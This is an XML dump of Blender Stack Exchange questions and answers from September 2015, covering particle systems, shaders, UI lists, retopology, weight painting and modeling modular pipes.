  <row Id="38283" PostTypeId="2" ParentId="38282" CreationDate="2015-09-09T14:47:59.673" Score="3" Body="&lt;p&gt;A group of particles. Note the outliner windows shows a group of two spheres. &#xA;Press keyboard t to show information panel.  To create a group you may select both spheres and press keyboard Control G. The information panel allows you to type in name.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the forces you may want  to turn off gravity, gravity = 0.  You may also want to emit all particles quickly.  Start = 1. End = 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5TRVW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5TRVW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Single Object Particle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NNkfC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NNkfC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Convert the text to mesh and use particles. Note the vertices of the mesh in edit mode are highlighted. The particle object will be a sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GIuYk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GIuYk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-09T16:17:27.407" LastActivityDate="2015-09-09T16:17:27.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38284" PostTypeId="2" ParentId="38249" CreationDate="2015-09-09T14:57:14.553" Score="1" Body="&lt;p&gt;Thanks to @batFINGER and @poor comments, I've been able to do this, so I'm gonna post it here for if someone has the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick had to be done in the panel &lt;code&gt;draw&lt;/code&gt; method, when drawing the &lt;code&gt;UIList&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.template_list(&quot;MyList&quot;, &quot;&quot;, bpy.data, &quot;actions&quot;, context.scene, &quot;myListIndex&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The third and fourth arguments are the place from were the list items will be get. I was using a custom list here (that just pointed to an action), so that was redundant.&#xA;The fifth and sixth arguments are where the selected item index is stored, which in my case is in the &lt;code&gt;Scene&lt;/code&gt; properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="16174" LastActivityDate="2015-09-09T14:57:14.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38285" PostTypeId="1" CreationDate="2015-09-09T15:17:36.600" Score="2" ViewCount="309" Body="&lt;p&gt;My friend is considering to invest time in learning Blender, he has a decade experience using 3Dmx/Maya kind of stuff. So here is his question, that I am trying to translate from Russian, and please note I know little about the topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now only Autodesk fusion 360 seems to support reliable boolean that is able to operate interactively and able to cotrol the transformation between objects, (making the transformation softer/harder). Can blender do that, and if yes, how, where is the documentation or tutorial can be found?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;нужен не глючащий булен, с возможностью интерактивных операций и возможностью управлять переходом между обьектами(делать его плавным\твердым)&quot;&lt;/p&gt;&#xA;" OwnerUserId="18012" LastActivityDate="2015-09-09T15:17:36.600" Title="interactive boolean like in autodesk fusion 360" Tags="&lt;modifiers&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38286" PostTypeId="2" ParentId="38277" CreationDate="2015-09-09T15:19:37.183" Score="2" Body="&lt;p&gt;Makehuman is indeed an excellent tool.&#xA;To answer the second part of your question, and complete the precedent answer, concerning animation, you can import the model into blender by activating the mxh import plugin &lt;a href=&quot;https://thomasmakehuman.wordpress.com/mhx2-documentation/import-into-blender/&quot; rel=&quot;nofollow&quot;&gt;https://thomasmakehuman.wordpress.com/mhx2-documentation/import-into-blender/&lt;/a&gt;&#xA;Then, you can import .bhv mocap datas founded on the net (a lot of free ressources are availables) :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mocap.web.fh-koeln.de/webgl-search.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(I can't put more than 2 links on this site because of my reputation wich is still too low, but a google search will do the job)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then need to add the addon called MakeWalk, wich you can find on the makehuman site (same pb with the url, but you can find it on the thomasmakehuman site already listed). This will allow you to load and retarget your downloaded bhv files.&lt;/p&gt;&#xA;" OwnerUserId="16299" LastActivityDate="2015-09-09T15:19:37.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38287" PostTypeId="1" CreationDate="2015-09-09T15:19:58.383" Score="4" ViewCount="4106" Body="&lt;p&gt;I'm trying to create a shader that displays the normalized (0 to 1) camera Z-dpeth on top of the viewed object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, I know I can easily do this in post with the normalize node if I render out the z depth pass, but I prefer to have this in a shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to do this with an OSL script using the clamp function but it didn't really do what I wanted. See image below for clarification:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XVIC1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVIC1.jpg&quot; alt=&quot;Normalized Z Depth&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the desired result on the right (achieved with compositor nodes), and the existing result on the left (with shader nodes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the OSL script that didn't quite get me where I wanted, but might be a good start (I intended to use it between the camera data and emission nodes, the same way I use the normalize node in the compositor):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader normalize_value(&#xA;    float inputValue = 0.0,&#xA;    output float normalizedValue = 0.0&#xA;){&#xA;    normalizedValue = clamp(inputValue, 0, 1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm of course open to any other method, for instance involving other shader nodes (I couldn't find a way to get the same result but hey who knows!).&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-09-09T18:08:10.213" Title="Normalized z-depth shader (based on the cycles camera data node)" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;osl&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38288" PostTypeId="2" ParentId="38287" CreationDate="2015-09-09T16:06:22.323" Score="1" Body="&lt;p&gt;Try to scale (multiply) the values first followed by other math operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(original - min)/(max - min)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am investigating clamping numbers to the same type ... float values&#xA;clamp(inputValue, 0.0, 1.0);&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Guessing example.&#xA;For example ... (original * (.5))  + offset .....&#xA;Then clamp.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-09T17:45:43.560" LastActivityDate="2015-09-09T17:45:43.560" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38289" PostTypeId="1" CreationDate="2015-09-09T16:25:31.020" Score="1" ViewCount="1479" Body="&lt;p&gt;I have a python script. It works well when I run the code in python console but if I open the script file in text editor and click &quot;Run Script&quot;, blender crashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what might causes the difference? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the script: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy &#xA;from bpy import data as D &#xA;from bpy import context as C &#xA;from mathutils import * &#xA;from math import * &#xA;import blensor &#xA;bpy.context.scene.objects.active=bpy.data.objects['Camera']&#xA;blensor.tof.scan_advanced( max_distance = 20.0) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="17984" LastEditDate="2015-09-09T23:21:27.500" LastActivityDate="2015-09-09T23:21:27.500" Title="Script works well in python console but crashes when &quot;Run Script&quot; in text editor?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38291" PostTypeId="1" AcceptedAnswerId="38293" CreationDate="2015-09-09T16:56:41.873" Score="1" ViewCount="671" Body="&lt;p&gt;I have an object and I have made a simple animation using it so it is under an armature on the outliner editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I apply a material to this object, I can't see the color of material but if I render the image I can see the correct colored object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I apply a material to an object under an armature and see the result on the screen?&lt;/p&gt;&#xA;" OwnerUserId="15757" LastEditorUserId="15757" LastEditDate="2015-09-09T17:19:10.083" LastActivityDate="2015-12-15T01:23:47.333" Title="How to apply material on an object that is under armature" Tags="&lt;materials&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38292" PostTypeId="1" AcceptedAnswerId="38296" CreationDate="2015-09-09T17:00:52.720" Score="1" ViewCount="708" Body="&lt;p&gt;In Blender Internal it is located here:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fFHYs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fFHYs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find that anywhere in Cycles.&lt;/p&gt;&#xA;" OwnerUserId="16748" LastActivityDate="2015-09-09T18:51:57.127" Title="where to set Image Mapping to Extend mode in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38293" PostTypeId="2" ParentId="38291" CreationDate="2015-09-09T17:30:39.183" Score="1" Body="&lt;p&gt;To see your materials with proper texturing and shading change your viewport mode to either &lt;em&gt;Texture&lt;/em&gt; or &lt;em&gt;Material&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZcV33.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZcV33.png&quot; alt=&quot;shading pie menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14564" LastEditorUserId="2217" LastEditDate="2015-12-15T01:23:47.333" LastActivityDate="2015-12-15T01:23:47.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38294" PostTypeId="2" ParentId="38287" CreationDate="2015-09-09T17:59:44.877" Score="3" Body="&lt;p&gt;If it's ok to put in some values manually, you can use a Cycles shader like this. You have to know the distance of your scene from the camera and the scene size along camera z. In this example the object starts 3 units away from the camera and has a size along camera z of 2 units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input the values into the two red value nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qPseQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qPseQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15550" LastEditorUserId="15550" LastEditDate="2015-09-09T18:08:10.213" LastActivityDate="2015-09-09T18:08:10.213" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="38295" PostTypeId="1" AcceptedAnswerId="38297" CreationDate="2015-09-09T18:33:27.867" Score="0" ViewCount="903" Body="&lt;p&gt;How can I uniformly divide a plane into even segments?&lt;br&gt;&#xA;I am hoping to split a 2D rectangular plane into a series of smaller rectangles along its long horizontal axis before animating each individual piece differently.&lt;/p&gt;&#xA;" OwnerUserId="18016" LastEditorUserId="2217" LastEditDate="2015-09-09T20:02:51.693" LastActivityDate="2015-09-09T20:02:51.693" Title="Partitioning/ segmenting a 2D plane" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-09-09T20:07:16.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="38296" PostTypeId="2" ParentId="38292" CreationDate="2015-09-09T18:51:57.127" Score="2" Body="&lt;p&gt;In my self compiled Blender from today I have Clip, Extend and Repeat in the image texture node. In 2.75 it's not present yet, though. You can try a development version from &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender buildbot&lt;/a&gt;, or for extend you can use the mapping node, as PGmath said, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9kmYP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9kmYP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15550" LastActivityDate="2015-09-09T18:51:57.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38297" PostTypeId="2" ParentId="38295" CreationDate="2015-09-09T19:09:34.170" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;With your 2D plane selected, enter edit mode with &lt;kbd&gt;TAB&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Move your mouse along one of the long edges.&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Roll your mouse wheel until you see the correct number of cuts (in purple).&lt;/li&gt;&#xA;&lt;li&gt;Click the left mouse button.&lt;/li&gt;&#xA;&lt;li&gt;Click the right mouse button.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your plane will now be subdivided into equal parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now separate them into individual objects by selecting each one in turn (in face select mode) then hitting &lt;kbd&gt;P&lt;/kbd&gt; then &lt;kbd&gt;ENTER&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16665" LastEditorUserId="16665" LastEditDate="2015-09-09T19:10:45.157" LastActivityDate="2015-09-09T19:10:45.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38298" PostTypeId="1" AcceptedAnswerId="38358" CreationDate="2015-09-09T19:49:03.497" Score="29" ViewCount="43132" Body="&lt;p&gt;I made a high poly model and then baked its textures onto a low poly model.&lt;br&gt;&#xA;Now I want to give another normal map's details to the model. How can this be done?&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="2217" LastEditDate="2015-09-11T13:33:40.200" LastActivityDate="2021-01-26T10:49:05.027" Title="How to Combine two Normal Maps?" Tags="&lt;texturing&gt;&lt;normals&gt;" AnswerCount="10" CommentCount="5" FavoriteCount="22" ContentLicense="CC BY-SA 3.0" />
  <row Id="38299" PostTypeId="1" CreationDate="2015-09-09T20:17:22.773" Score="5" ViewCount="1017" Body="&lt;p&gt;How do I get particle hair on a model I made, with out it resulting in many spots on the mesh with no hair at all?&lt;/p&gt;&#xA;&lt;p&gt;Here is a picture of the problem.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rVERl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rVERl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Often the gaps are on the tail arms and legs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nfc9r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nfc9r.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16025" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-02-08T13:57:07.763" Title="how to avoid gaps on the distribution of hair on a model?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38300" PostTypeId="2" ParentId="38277" CreationDate="2015-09-09T20:21:32.587" Score="1" Body="&lt;p&gt;It's always best to learn the long ways before taking the shortcuts. In your case, don't try to start by using something like MakeHuman. Learn to do it with traditional modeling first, and then look at the short cuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the most common ways to model a human are Sculpting, Box modeling, and Poly modeling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sculpting is exactly that, sculpting. It's really good for organic modeling. Most of the time, when people use sculpting to model a character, they'll use dynamic topology which adds resolution to a mesh in the area that you're sculpting in. Sculpting usually requires a level of retopology, where the sculpted mesh is remodeled using the original as a guide to create a cleaner mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Box modeling is probably the easiest to do. It usually works by starting with a cube and adding a mirror modifier on it so that only half of the model has to be modeled. You then start extruding portions of the cube to form different parts of the head and body. Box modeling also will usually require retopology, as the faces won't usually follow the forms of the mesh properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Polymodeling is probably the hardest out of all of the options, but is also the only one that doesn't require retopology. It works by manually extruding edges to form the different parts of the mesh. It's difficult because you're working on making the mesh form right, and getting the topology right at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of the three of those, I would most recommend Sculpting, because it's the most organic and creative way to work, and let's you completely forget about your topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, since you did want to know where you could go to get human characters, I'll recommend that you head over to &lt;a href=&quot;http://www.blendswap.com/&quot; rel=&quot;nofollow&quot;&gt;Blendswap&lt;/a&gt;. The models are all free, and can be used under different licenses. You might even be able to find a decent one that is already rigged.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-09-09T20:21:32.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38301" PostTypeId="1" CreationDate="2015-09-09T21:30:55.870" Score="1" ViewCount="49" Body="&lt;p&gt;I have Blender on my Acer Aspire One laptop and I have only been using it for almost 2 weeks and when I open blender it won't show what anything is labeled no matter what I click. No words. Just pictures. Can you please help me with this and tell me how to fix it??&lt;/p&gt;&#xA;" OwnerUserId="18019" LastActivityDate="2015-09-11T00:42:14.863" Title="Blender quit showing the words when I open it" Tags="&lt;installation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38302" PostTypeId="1" AcceptedAnswerId="38316" CreationDate="2015-09-09T22:34:11.993" Score="1" ViewCount="558" Body="&lt;p&gt;I have an arm and at the inner elbow, its dipping in when bent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YOyYE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YOyYE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hxaFa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hxaFa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1TChy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1TChy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RmrIn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RmrIn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YF0RP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YF0RP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OEQap.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OEQap.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-09-10T13:44:04.703" LastActivityDate="2015-09-10T13:44:04.703" Title="Whats wrong with this weight paint?" Tags="&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38304" PostTypeId="1" AcceptedAnswerId="38306" CreationDate="2015-09-10T00:15:26.810" Score="2" ViewCount="944" Body="&lt;p&gt;I'm trying to create a grass effect on a small landscape I've created. My current approach is to use a hair particle system, and style the hairs to look like grass. I've got a simple particle system added, and adjusted a few settings (note: I haven't made the grass green yet. It's just grey for now), but for some reason the particles don't go on certain parts of the mesh:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3TdtY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3TdtY.jpg&quot; alt=&quot;Missing Particles&quot;&gt;&lt;/a&gt;&#xA;You can see that to the left of the &quot;lake&quot; there is a lot of missing particles, in triangular areas. Although this screenshot was taken in rendered 3d view, it also has the same issue when I press the render button and do a &quot;true&quot; render. Here's some of the geometry:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0Edpt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Edpt.png&quot; alt=&quot;Geometry&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why it isn't completely covered with particles?&lt;/p&gt;&#xA;" OwnerUserId="15235" LastActivityDate="2015-09-10T02:14:46.387" Title="Particle system doesn't affect part of mesh?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-09-10T02:26:32.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="38306" PostTypeId="2" ParentId="38304" CreationDate="2015-09-10T02:14:46.387" Score="1" Body="&lt;p&gt;Make sure &lt;em&gt;use modifier stack&lt;/em&gt; is checked under the &lt;em&gt;emission&lt;/em&gt; rollout of the particle settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ay1Ux.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ay1Ux.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-09-10T02:14:46.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38307" PostTypeId="1" AcceptedAnswerId="42647" CreationDate="2015-09-10T02:55:20.493" Score="9" ViewCount="2931" Body="&lt;p&gt;An idea came to me recently that I think would be very effective for retopology. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The dilemma&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you've tried doing Multires sculpts you've probably noticed that pinching, stretching, and uneven mesh density are common side effects, yet DynTopo, especially when used in Subdivide Collapse mode, doesn't have this issue. You can sculpt freely, but at the expense of having your nice quad mesh obliterated into a glob of tris. So we end up going back and painstakingly building another quad mesh over our DynTopo sculpt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone not familiar with this, see &lt;a href=&quot;https://www.youtube.com/watch?v=opsKPCCFbr4&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intro to Dynamic Topology Sculpting in Blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The solution?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What I was thinking is that if we duplicate our mesh object to make a backup before breaking out the DynTopo, we can slap a Multires Modifier and then a Shrinkwrap Modifier on that original base mesh and it will conform very nicely to the sculpted mesh! But the big question is - &lt;strong&gt;how can we get that shrink-wrap deformation data into the subdivision levels of the multires so that we can have the dyntopo-sculpted detail at various levels in a clean quad mesh?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visual aid - The red mesh was sculpted using DynTopo, the blue is the original with modifiers on it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RjzhZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RjzhZ.png&quot; alt=&quot;A DynTopo sculpted mesh with an all-quad multires mesh shrink-wrapped onto it&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(X-ray display is being used so that we don't see ugly overlapping faces)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/486/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=486&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the Multires Modifier necessarily comes &lt;em&gt;before&lt;/em&gt; the Shrinkwrap Modifier in the stack, we can't send the shrinkwrap vert position data backwards up the stack and into the multires subdivision levels. And if we apply the Multires Modifier then obviously that defeats the purpose because it's not Multires anymore.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;So how?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Could there be a way to get the vertices within multires Sculpt Mode to snap to the same location as they are in when Shrinkwrap is used? And if it can't be done by some snapping method, could it perhaps be done (even more efficiently) by using a Python script? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine a script that gets the vertex position data from a version of the mesh that has had its Modifiers applied, and copy that vert position data into the not-yet-applied multires data of the other. Of course the subdivision levels would have to match. I am especially curious to hear from anyone familiar with how Python can manipulate vertex data. But Python or not, if this can be achieved by any means it would be extremely useful. What do you think?&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2017-01-10T04:40:40.117" Title="Retopo: Can we apply shrink-wrap to multires subdivisions?" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;topology&gt;&lt;dynamic-topology&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38308" PostTypeId="1" AcceptedAnswerId="38309" CreationDate="2015-09-10T05:11:54.167" Score="0" ViewCount="334" Body="&lt;p&gt;I want to create a set of pipes in a modular manner that can fit together later like this image: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://slm-assets0.secondlife.com/assets/5987120/view_large/pipes%20kit%20dirty%20texture.jpg?1343485272&quot; alt=&quot;Pipefitting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering how someone would best approach this. I would more importantly like to know how to create 45 degree extrusions without guessing like I normally do with these types of things... thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making the straight pipes is easy my main concern is making the angled ones, and later on they are not &quot;just right&quot;, and things don't fit together so well later..&lt;/p&gt;&#xA;" OwnerUserId="16576" LastEditorUserId="3401" LastEditDate="2015-09-10T08:54:48.373" LastActivityDate="2015-09-10T08:54:48.373" Title="How best to create angular pipes for a set?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-09-10T06:24:41.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="38309" PostTypeId="2" ParentId="38308" CreationDate="2015-09-10T05:29:35.747" Score="2" Body="&lt;p&gt;You don't say what version of Blender you are using, but for a number of versions, Blender has included an add-on that produces several types of pipe joints: elbows, Y-joints, T-joints, C-joints, and N-joints. In versions up through 2.72, this add-on had to be explicitly activated in the add-ons tab of the User Preferences, but since 2.73, the add on has been activated by default. So you may not need to create a new set of pipes. To modify a pipe, see my answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/33692/pipe-joint-addon-changing-individual-cylinders-geometry-radius-length/33711#33711&quot;&gt;question 33692&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, this question appears to be a duplicate of &lt;a href=&quot;https://blender.stackexchange.com/questions/27383/join-two-cylinders/27386#27386&quot;&gt;question 27386&lt;/a&gt;. One aspect, though, about your image that is not referenced in either the question, or my answer, is flanges on the pipes. Upon some consideration, my personal approach to the flanges on straight pipes would be to model the cylinder, and where I wanted a flange, to locate four loop cuts around the cylinder, scaling the center two edge loops out to make the flange, and moving the other two edge loops towards the flange. Where I was using two fittings to make a joint, I would place the fittings so that there was a gap between them about the size of the flange. I'd then select the two edge loops on either side of the gap, bridge across the gap, and extrude the bridged faces out to make the flange. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-09-10T08:52:37.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
